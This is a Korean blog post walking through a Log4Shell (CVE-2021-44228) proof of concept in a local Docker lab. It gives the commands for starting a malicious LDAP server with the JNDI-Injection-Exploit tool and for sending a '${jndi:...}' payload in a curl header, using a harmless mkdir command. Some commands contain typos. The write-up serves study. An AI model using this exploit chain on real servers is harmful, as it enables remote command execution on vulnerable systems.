[POC] CVE-2021-44228(log4shell) 취약점 POC 실습 (2)

이상·2022년 9월 15일
0

log4j 총정리보고서

목록 보기
5/6

0. 도커 준비

취약점이 있는 웹 서비스를 구동하기 위해서는 도커가 필요하다.

systemctl status docker

1. 취약점을 가지고 있는 웹 서비스 구동

도커 명령어를 통해 위의 깃허브 주소에 있는 서비스를 구동한다.

docker run —name vulnerable-app 0p 8080:8080 gchr.io/christophetd/log4shell-vulnerable-app

해당 명령어를 실행하면 도커 이미지가 다운로드 되어 8080 포트로 서비스된다.

  • 취약점 있는 웹 서비스 구동 성공 화면 - loaclhost:8080으로 접속

2. JNDI-Injection-Exploit을 위한 LDAP 서비스 구동

아래의 명령어를 통해 깃허브의 LDAP서버를 구동하기 위한 jar 파일을 다운받을 수 있다.

wget https://github.com/welk1n/JNDI-Injection-Eploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

아래의 명령어를 통해 다운받은 jar 파일을 통해 LDAP 서버를 구동할 수 있다.

LDAP 서버를 호출할 시에 수행하고자 하는 명령을 특정 IP에서 수행한다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C ["수행하고자 하는 명령어"] -A [IP]

아래의 명령어는 취약서버(리눅스 IP)에 taein이라는 디렉토리를 만드는 명령어 이다.

본 POC는 아래의 명령어로 진행하였다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "mkdir /home/taein" -A 192.168.137.129

3. LDAP 서버에서 생성된 주소를 취약서버에 JNDI를 통해 요청

사용자 상호 작용 없이 작동하는 서버로 데이터를 전송할 수 있는 리눅스의 curl 명령어를 통해 취약서버로 요청을 보낸다.

이 때 취약서버의 자바 버전을 파악하고 해당 버전과 일치하는 부분의 ldap 주소를 이용하여 요청을 보내야 한다.(위의

아래의 명령어는 HTTP 헤더 중 하나인 X-Api-Version에 명령을 추가하여 요청하는 것이다.

curl [취약서버IP:8080] -H 'X-Api-Version: ${jndi:[위의 LDAP사진에서 보라색으로 드래그 한 부분]}’

이는 취약서버가 X-Api-Version에 대해 로깅을 진행하기 때문에 취약점이 발생하기 때문이다.

위의 명령어를 입력하게 되면 취약 서버에서 별다른 입력값 검증 없이 X-Api-Version을 로깅하게 되고 이 과정에서 LDAP 서버를 호출하게 된다.

LDAP 서버를 호출하게 되면 LDAP 서버를 구동할 때 입력했던 명령어가 실행되게 되는 것이다.(본 POC에서는 taein이라는 이름의 디렉토리를 생성하는 것이다.)

  • curl 명령어 이후 사진 (위에서 부터 LDAP 서버, 공격자의 curl, 취약서버)

사진의 가운데 부분의 curl 명령어를 입력하면 사진의 하단 취약서버에 요청이 들어왔음을 확인할 수 있다.

4. POC 결과 확인

취약서버를 구동하고 있는 도커의 쉘에 접속하여 공격자가 의도한 mkdir 명령어가 성공했는지 확인해 볼 수 있다.

docker exec -it vulnerable-app /bin/sh

위의 명령어를 통해 도커의 쉘에 접속할 수 있다.

사진속의 명령어를 입력하면 home 디렉토리에 taein이라는 디렉토리가 생성된 것을 확인할 수 있다.

유의할 점

  • IP 공격자 PC의 IP와 LDAP 서버의 IP는 같다. 취약서버의 IP만 다르다.
  • JAVA version 취약서버의 JAVA version을 확인하고 LDAP 창에서 해당 자바 vesrion의 JNDI link를 복사해와야 한다.

made by 태인

profile
중앙대학교 산업보안학과 정보보호동아리 이상입니다.

0개의 댓글